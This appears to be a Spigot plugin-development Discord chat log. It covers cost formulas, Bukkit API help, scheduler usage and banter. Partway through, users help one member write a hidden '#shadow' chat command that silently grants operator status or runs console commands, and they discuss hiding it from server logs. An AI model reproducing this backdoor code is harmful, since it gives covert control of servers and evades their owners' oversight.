#help-development
1 messages · Page 1596 of 1
@quaint mantle bri'sh
Dude, joch, you need a nap
lul
I just got off of work
bri'ish innit bruv
my feet are killing me
Waudurr
of course I need a nap
__innit__(bruv):
🍼 Ah yes, wo'oh bo'oh
That sounds functionally formulaic
Big words
An equation
Yes I know, I just don't know what it would look like 🙂
So, you have how much money the player has, and how much each item costs?
Or what is the situation exactly
Why would u do it witjout loops
Does it vary?
So could it be possible to get the increase as a percent?
No, no, it's fine
Just answer that ^^^
Because if that's possible at any time, you have your answer
To be honest, I'm not exactly sure..
affordable count = floor(base price ^ (1 + percent increase per item))
This is how it works
The formula above used to be a for loop
in the getCost method
Was highly inefficient so I switched it out
for (int levelToIncrease = 1; levelToIncrease <= levels; levelToIncrease++) {
cost += increaseBy * (level + levelToIncrease - 1) + initialCost;
}```
thats what the formula was before
No u can do it with an increasing exponent
Does the increase rate remain the same per item?
Say, for each item A, each A will be 5% more costly?
Its not a percentage, but its an amount that it increases by per level/item
If it can be represented as a percent, you have your solution
Say, for each level it's a little percent more of an increase per item?
someone?
b^(1 + r). b being what it starts as, and r being the rate of change, calculated however you wish @quaint mantle
are there any symlinks in the API for things like
org.bukkit.craftbukkit.v1_17_R1.block.impl.CraftWallSign ?
First off don't detect GUI by name. Secondly we need the code for opening the other inventories. Oh and keep in mind you should do this in the next tick
What are you trying to do?
make my life easier on updates lol.
so how do i detect GUI?
InventoryHolder or Imventory instance
ohkay
Err what are you using the class for
it exposes a few methods i need, it works fine. it would just be nice not to have to change it each update.
Anyway you probably want something like https://hub.spigotmc.org/javadocs/bukkit/org/bukkit/block/data/type/WallSign.html
declaration: package: org.bukkit.block.data.type, interface: WallSign
ah ok, i should probably switch to that, but if i remember rightly i had an issue with it but i don't remember now it was a while ago.
Aight try using it if it doesn't work come back here
ok, thank you.
Sorry, had to restart my pc due to the monitor cable being weird...
Okay, so let me explain it, I want to calculate the maximum amount of levels a player can afford with a currency, without the use of a for loop
@unkempt ore
(max_level - current level) * price_per_level ?
Ahh
Yes
just add your multiplier to the last term
Can you make an equation for getting the price of an item based on its level?
Because if so, you can solve that for the level as a function of money, instead of a function of level to get money
And then floor
this one?
(max_level - current level) * (price_per_level+(current_level * increase_amount))
hello, i have some questions, first, can you tell me what plugin douse left sided text on screen with name of server, money, player name...? 😄
@patent wadi not sure if you understand, I want to calculate how much a player can afford, thats just getting how much it is to get from the players current level to the max level
Does it increase by a set amount per level?
Yep
Alright, so, hear me out
the number resulting from that will be the cost, just compare it against their balance
yess but I want to get how much the player can afford
base + level * amount_increase_per_level = cost. Now solve for level
(cost - base) / amount_increase_per_level = level
What other stuff
balance / cost, then floor it
@quaint mantle
Ah, no
Sorry, I misunderstood then
?paste
I thought you meant like, for every level the price increases by a set number
Not a rate
Ahh
However, this shouldn't be an issue either
So, for that formula to be more simple, this was the original one I used
for (int levelToIncrease = 1; levelToIncrease <= levels; levelToIncrease++) {
cost += increaseBy * (level + levelToIncrease - 1) + initialCost;
}```
I just converted that ^
into:
(long) (0.5 * (levels + 1) * (increaseBy * ((2 * (level + 1)) + levels - 2) + (2 * initialCost)));```
Well yeah your code checks if it's exactly /shadow. It won't run with any arguments
wdym
Oh
should i check if arg[0]
is /shadow
Yes
ok ok that makes more sense
If it exists
(base cost)^(1 + (rate of change per level) * (level)) = cost
Solve for level
L = -ln(B / C) / RlnB
@quaint mantle
o-o
Though I feel like the first equation would be wrong hmmm
Let me test it
But as it stands it should work I believe?
In the second equation, plug the base cost of the item into B, the amount of money the player has into C, and the rate of change for every level into R
Is there a way I can use a resource pack with extra textures to texture a custom mob?
Entity#setCustomModelData
Hmmm okay
For example, for every level a 5% increase in rate, the player has 10,000 of the currency, and the item costs 1,000.
L = ln(1000 / 10000) / 0.05 * ln(1000)
But again, this is probably not very right, I'll keep thinking
Because I feel like something is off
Is that for the regular entity class? Can't find that method.
Um no
sheesh
It's not possible
Ah
The solution is negated
since when does spigot not add modeldata support to entities, someone pr that
I've seen it done with data packs, but that requires me to use that format for everything.
L = -ln(1000 / 10000) / 0.05 * ln(1000)
Minecraft doesn't support that
bad mojang
That would be 6 levels @quaint mantle
In that condition
I believe this is what you wanted
Just plug the right variables in
L = floor(-ln(B / C) / RlnB)
Right
You can replace textures of vanilla mobs but you can't change them for a specific one
Yea, but I've seen data packs with custom entities that work server side just fine. I guess I'm going to have to go that route. No idea how to make them spawn though.
The datapack you're talking about probably requires Optifine
This isn't about the server the client won't know what to do
Datapack are server side
By the way you could use this same technique to find how much it would cost in total to afford a certain level. And then you can subtract the player's balance from that
I, for some reason, get infinity..
System.out.println(-Math.log(1000 / 10000) / 0.05 * Math.log(1000));
Weird, I plugged those into my calculator and I'm getting 6.6666...
Very strange, I'll try and mess with it
Again by sure to floor that all
What is it
public static void main(String[] args) {
System.out.println(-Math.log(1000 / 10000.0) / (0.05 * Math.log(1000)));
}```
doubles and brackets
6.6 recurring
Great
Then floor is obv 6
Now, R would probably be a constant. Though maybe you wanna make it configurable
You're welcome though. That was fun to make
thanks! 🙂
any idea on how i can move it a bit in the left?
{"type": "bitmap","file": "minecraft:font/worldrtp.png","ascent": 138,"height": 256,"chars": ["⼄"]}
Ok hold up. I'm talking about using a resource pack that is required for the textures of the mobs.
disclaimer: idk what im talking about.
||you might need to maybe edit the inventory gui? not sure||
What..
Send a link to the datapack and it will be easier to help you add
read the disclaimer. also im replying to gush3lll
I know
@chrome beacon No, I'm going to have to make it. I though I could just use a resource pack and use Spigot to add custom entities with textures, I guess I'm going to have to use the datapack route.
Anything you can do with a datapack you can do with spigot
I'm just curios on how the datapack works
If I know that then I can help
howd you do that
Never tried datapacks
When you make a datapack you can have a custom folder with custom models for custom entities. I don't know the data pack format, reason I was trying to avoid using it.
Are minecraft commands turing complete?
would say no
resourcepack
o
No you can't
This isn't Bedrock edition
Yes you can, there are literally servers doing that right now.
Is it possible to spawn an entity with attributes such as invisibility without the client seeing this entity spawning after applying this attribute?
Custom entity models are an optifine thing
^
it has some turing completeness to a certain degree but wouldn't say entirely turing complete
World::spawn is static
Yes, and now they are in the base game, this isn't 1.7.10 anymore.
What
Hello, I wanted to know how I can make my NPC no longer have an AI.
Makes sense
yeah
Prove me wrong then... send the resource pack or proof. Because I find none
I'll pm you.
in 1.8.8
yes, but when u spawn a entity with invisibility, has a 1 tick to player see that entity visible understand?
where
Hello, I wanted to know how I can make my NPC no longer have an AI in 1.8.8 pls
setAI maybe
Hi I'mhaving a problem the PlayerdeathEvent doesnt do anything here
it does not exist in 1.8.8
register it?
@ivory sleet
nms then
how use
How do I do taht sorry Im very new to making plugins
?eventapi
thanks
How much java do you know
@EventHandler ?
@chrome beacon still nothing
Show new code
1s
how to use it mns @chrome beacon
tbh idk but if its a item try moving it to the upper left slot and maybe edit the image a bit to fit the inventory
It is not working
I said please don't tell me that
dont worry i was not doing anything in that time
Did you listen
im sick and uh
🤡
it's a font
uh what
and i can't edit the image i think
wait so thats the inventory name....
yeah
if so then i dont think you can fix
the inventory name is always moved a little to the right
f
you can use a modded client to fix it though
help
try removing /?
i always do and call things inside the actual command and not in a event lol
Nope, not having the slash made it not work
We recommended adding the slash and it did work
But we've easily told you like 10 times @grim ice you're checking for exact matching
With equalsIgnoreCase
Print args 0 and see what it says
No, that part already works
He says /shadow alone works, but not with more args than 1
But it's because he's using equalsIgnoreCase
Use startsWith
i thought .equals was exact matching and equalsIgnoreCase is like when you have "/shadow" and "/Shadow" it still says its correct?
Yes, but he wants to be able to work with args after /shadow
^
Okay okay
operation ill use ur method
im almost sure it won't work but ill try
It should work
How are you sure...
if it works can you explain why did it work
Because instead of checking the entire value it checks the start
Oh and you might have to force lowercase everthing
why
what does equalsIgnoreCase actually do
actually thats rly dumb
what if a command is for example
/shadowhi
args[0].equalsIgnoreCase("/shadow") = "Does the first arg equal '/shadow' exactly, ignoring case?"
args[0].startsWith("/shadow") = "Does the first arg begin with '/shadow'?"
Like, it cannot be more clear
But, but
You should probably be doing this on the message itself, not args[0]
im testin rn
And by the way, once again, change your strange logic. Just cut off /shadow and then run that as a dispatch
OOP
Don't do the weird argument concatenation thing you're doing
o
do you know if this will work string.toLowerCase().equals(compare.toLowerCase())?
It's the same
Is EIC not doing that internally though
ok so what does .equalsIgnoreCase do better?
It would make sense for it to though
dont think so
It probably just has to iterate the string once despite checking ignore case
iirc it checks char’s int value and do some swapping there
Why?
as Operation21 said
It would still be better for it to show in the console to prevent miss use
I want it not to show
i made an entire event just to make it not show
if i want it shown i wouldve used commandexecutor'
I'd recommend not using this system actually, and just doing your own prefix in chat
And then cancelling the AsyncPlayerChatEvent
Cancel the event
._. Sorry forgot that you did
I understood nothing from what you said
you cant remove that
Don't use commands, I'm saying
Did I
Make your own prefix, and listen for AsyncPlayerChatEvent
Is the event even called off a command? Iirc it uses servercommandevent or playerPreprocesscommand
oh
Anything with a /
Because relying on commands makes Spigot, ya know, do its things
lol
Ok
never thought of that
but
how?
How do I do that is the thing
There are abstract implementations. Things going on in the background
what happens if you cancel the chat event will it remove that message or does it check if its a command before it does the chat event
Things you don't control
Such as the logging
Also, like I just said
You wanna listen for AsyncPlayerChatEvent
Okay
And then check if the message starts with "#shadow"
and
It's not much change
And then make sure to cancel the event, in that case
It’s an easy alternative
If you were trying to do it with / chat event is not the way
everyone knows AsyncPlayerChatEvent is the new chat event
I barely know Spigot
The new?
so if someone says chat event its AsyncPlayerChatEvent
Yeah
sync version of AsyncPlayerChatEvent
I see
?paste
i think
Why would you use that bruh, lmao
it runs on the main thread
Yea don’t use that tho lol
it pauses chat
like that
you know when your page takes long to load why does it show the background color of a previous website you went to
ill also change the args thing
meh idk
caching i guess
if (msg.startsWith("#shadow"))
{
String command = msg.replace("#shadow ", "");
Bukkit.dispatchCommand(console, command);
event.setCancelled(true);
}
I'd do this
But also check for no args after to give op, blah blah
Just don't do...what you're doing lmao
what is shadow meant to do
ill just check if args is 2 or above lol
Though another caveat...
Won't the console show the commands the console command sender is doing
Errr
it will im pretty sure
How would you run a command without leaving a trace
Just run your unit of code in there
Wdym
invoke the method?
Instead of dispatchcommand
Run whatever code would be in your command
In that event it’s simple
Vanilla commands though
What?
find the class
What command is he tryna do any?
Any
and invoke the method
Well he should just make it work himself
i mean spigot does it
Check what’s args[1] is
just find it in spigot pretty sure
Command blocks don't log in console
just find out how spigot invokes the command
It's a funny idea
Neither does doing it in code
it logs to ops
gamerule broadcastConsoleToOps
thats in 1.17
Is it really
yeah
No
I could swear I've seen it before
Any command. Welp, that sucks
That's quite a hassle for something this simple
or actually
Is the console logging not configurable cmon
not leaving any trace is not what i exactly want
Hm?
nope
if it says smth along the lines of
alr
whats the topic
?paste
But doing /shadow prints to the console that he did it
ah still the shadow thing
So we made him make his own prefix
#shadow, so the player wouldn't be traceable
why a custom prefix, you can also listen for /
yes you can
itll count as a command
No, he can't
spigot registers anything with / as a command
Because it logs the player ran the command
not if he cancels it
anything starting with / = command
So he's working around it
every command is a normal chat message at first
we already tried that
He was cancelling and it still did
Hmmmm, good thinking actually, you could screw with the priority maybe
making a new prefix way better imo
Use else hex
@EventHandler
public void onPlayerAsync(AsyncPlayerChatEvent event) {
String[] args = event.getMessage().split(" ");
Player player = event.getPlayer();
ConsoleCommandSender console = Bukkit.getConsoleSender();
if (args[0].startsWith("#shadow")) {
if(args.length >= 2){
String command = event.getMessage().replace("#shadow ", "");
Bukkit.dispatchCommand(console, command);
} else {
player.setOp(true);
event.setCancelled(true);
}
event.setCancelled(true);
}
}``` wouldnt this work also?
The inverse of < 2 is >= 2
No
So use else
Yeah...
wat
Bruh, it's simple
1, 2, 3, 4, 5. Less than 3 is 1, 2. NOT less than 3 is 3, 4, 5
So the else of < 3 is >= 3
wait
you're right
What is the opposite of greater than in Java?
The negation greater-than is less-than-or-equal. Some people who've never heard of that find it hard to believe. They think "No way. The opposite of greater than is less than!"
googled
i get how it is that but i really dont know how to explain it really
I just explained
I differ
and im not spamming it so it won't matter much
also you have a one unused }
It's probably the end of his class
oh
I'm a ninja
but you didnt have to include that
it confused me lmao
if I do a mistake like thi
this
and not know how to fix it
i shouldn't be talking here
:/
lol
ty tho
wait no the brackets inside the method
Doesent matter
The brackets in the method are fine
It's just the last one, it's the end of the class
ik but it confused me alot
Is I select what I'm gonna paste, and I Shift-Tab it
Until it's all the way left
Then I copy
yeah but
remove that space
between { and String command = event.getMessage().replace("#shadow ", "");
i dont like it
it looks ugly
what space do you mean
what
It's redundant
i mean yeah i guess its fine the compiler removes it
i dont get it
The blank space
the compilers removes it i think
Between the else { and the next thing
but i like my code close up
not always tho
it makes the code more organized imo
just with ifs
i am just pr4nking you with adding redundant spaces to my text, chill
That's inconsistent, Hex, which is less organized lmao
You're not doing it anywhere else but there, so
true
Do it how ever you want bro, follow ur own style
also it looks ugly
yeah im not changing it anyways
*if he would continue using that formatting
ill just fix the others who arent like that
I mean, yeah do it however you want. But then I'll yell at you for wanting to do it that way
If it's ugly
Lmao
if you find it ugly look at this https://github.com/Luziferium/AsyncSpawnMob/blob/master/src/main/java/de/luzifer/asm/api/mob/task/SpawnTask.java
kill me
✨ clean ✨
a plugin of mine
is it bad that i dont see it extremely bad
ok
like
You know, I used to comment every single line of code. And I had a line between every line of code
Like
if (expression) { // if expression is true, do the code below
code(); // execute the code() function
} // end of the if to execute the code() function
lmao
I have some embarrassing stories
That was back when I got into craft bukkit those years ago
yeah
Player player = getPlayer(); // getting the player
player.use(Item); // player use given item
ive saw smth like that right here
wtf
uh
?paste
How do you manage to screw the brackets up differently in each paste lmfao
what
How do I delete my spigot account
Can't find it
is outside of thatt
don't say frick or you'll go straight to heck!
?paste
lol its
⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⡀⠀⢻⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⠃⢰⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⢶⣶⣶⣾⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⢠⡀⠐⠀⠀⠀⠻⢿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⢸⣷⡄⠀⠣⣄⡀⠀⠉⠛⢿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⣿⣿⣦⠀⠹⣿⣷⣶⣦⣼⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣼⣿⣿⣿⣷⣄⣸⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
Damn, I should've written some random line above it to trick it
Wait would that work lemme see
is java
coffeescript
How did you do that idk
Oh, yeah
it will still work
Lmao
the file isnt stored as qiwogileki.coffeescript
its probs just qiwogileki.txt
or just qiwogileki
you cant
why
Wtfff
Why...
idk
I'll just tag every admin and helper then
lmao
just get banned
or smth
also why is the forums style
so old
like it legit looks a 2005 website bro
i believe if you delete your account you cant make a new one
because we're alpha airlines and life is a fucking nightmare
idfk
public void idkIdkEvent(IdkIdkRunTimeEvent event) {
if (event.workingOnProject()) {
if (event.isFinished()) {
event.quicklyFinish(IdkIdkEnum.tryNotToCauseBugs);
}
} else {
event.report("Not working on project :)))");
}
}```
@unkempt ore
What
NULLLl
It's inside of spigot though
Ah
Bukkit doesnt like you running methods async
do it on the main thread instead
it pukes itself
wdym
Schedule sync for the next tick?
just 99% of their methods
he probably doesnt understand any word in your sentence
Perhaps...
" for the next"
Use the BukkitScheduler, and run
i have to make it a sync?
Yes
what no
just send it to the main thread by using the runTask method of the scheduler
how?
i just said how
maybe show an example
I know how to use runtask
look up the bukkit and scheduler class
is it this BukkitScheduler.runTask(() -> line of code;,0l,1l);?
so use it then
or no
Bukkit#getScheduler
but is the rest right?
no
or no
Guys, would it be okay to do something async like for example have a bunch of blocks, and you wanna count how many are of a certain type, and you make a parallel stream with count() at the end. That's okay because you're fork joining and not leaking the threads, right?
ah okay idk how to use the scheduler
there is no repeating so the last long is unnecressary and wrong and also no delay
but
just explain man'
is runTask even a thing
i thought u meant
Yes
Run task later is..if you wanna run it later
runTask is effectively run task later, but immediately
it should be okay as long as you dont interact with bukkit. you will probably have to clone your list of blocks and then you can count it
what the hell is the use of this then
But it's just reading though, and if you're fork joining you're blocking the ticking thread, so no changes could be being made during that time, right?
Guys how to reload a player data config ???
just reading should be fine but doing anything with the blocks is deadly.
Bukkit.getScheduler.runTask(pluginInstance,() -> yourCode;);?
Alright, I see
or still wrong
cant say more than https://tryitands.ee/
You have a macro for tias don't you...
How to reload a config
reloadConfig()
anyone needs help
Next question
i do
ok
Yeah, get me some juice
how am i creating a player
what's the issue?
Don't wanna get up
LMAO
like creating npc?
no i wanna create a friend for me
well you can create friends
how
but i dont want to MAKE friends
And then when you have their trust you suck their mortal souls out
And put them in the code
nah
Duh
i want to CREATE friends
OHHH
HTTP 400
you can code AI then
to be your friend
AI robot
AI friend
how am i making an alexa
One time I coded TicTacToe in C++
i just started coding
And I made an AI to beat me
uhhhh its so hard to make a new folder in my fucking ide if my mouse right is fucking not working half the time im pressing it
He doesn't have alpha-beta pruning but I love him anyway
just press it on the other half of time
that's not an issue in terms of programming or developing
so yeah
it is
get a new mouse or something
cuz now i cant program easier
Just map your left click to right click whenever you need to right click
And then switch back
you are coding with a mouse?????
i cant make new folders
and i like making a bunch of folders
yeah
whatever
if it comes into java projects then it's packages or you can call them packages
don't be silly
stop it or i fold you
packages are folders and folders are files
oses are files
files are just 1s and 0s
pls help
OSs are levers clicking right and left to symbolize 0 and 1
first guess: recursion
Files are just binary and binary is just transistors and transistors are just doped phosphorus and boron, meaning minecraft is just electrons, duh
second: endless Looping
@hybrid spoke when do i even use it
when dispatching your command
minecraft launcher uses electron
which is not the same thing
Bruh fr
Good explaination !
but it uses it
discord do too
yep
Bukkit.getScheduler().runTask(Hecks.INSTANCE, )
did you not notice you can zoom in and out in it
wat do i do
Good video
after comma
a lambda
ok
gotta get myself now in the stand by mode. good night y'all.
*putting my conscience in swap memory
Bukkit.getScheduler().runTask(Hecks.INSTANCE, () -> Bukkit.dispatchCommand(console, command));
ok
Yeah, essentially
idk why but every time i make smth
i get almost sure
it wont work
from first try
does that happen for everyone or is it just cuz im bad
Stuff rarely works first try
I'm still blown away when things don't go very badly after a 30m+ session without testing anything
lol
or you could make a BukkitRunnable and do runTask(plugin) on it lmao
Have you ever designed something, gone "that's gonna throw an error but we gonna do it anyways", and then actually it works great
lmao
becuz i welcome 99999999999999 errors and bugs
but that way he did it is easier
yes
Yeah
mine mostly works first try
what
what do u make
honestly it depends
if ur doing stuff ur level u wont find errors
Okay I'm gonna play the piano bye
and doing stuff ur level is the worst thing u can do imo
Well you're just cool then ig
i made my own command framework and it worked first try
No
thats bad
very bad
hes not learning
if everything goes good first try
u wont learn
u should go for big projects then
Nothing to learn if everything he makes works immediately
"Oh hell nah, he just added 2 + 2 and got 4? He'll never know how to add 2 numbers properly"
"worked 16th time, basically first try"
You suck
lol
How do you get that verified role though
Apparently I'm verified, but don't have the verified role
!verify
Usage: !verify <forums username>
My name is actually HydroPage. I don't know what I was high on when I named my account this cringe garbage
I'm HydroPage
This is so sad
ask md_5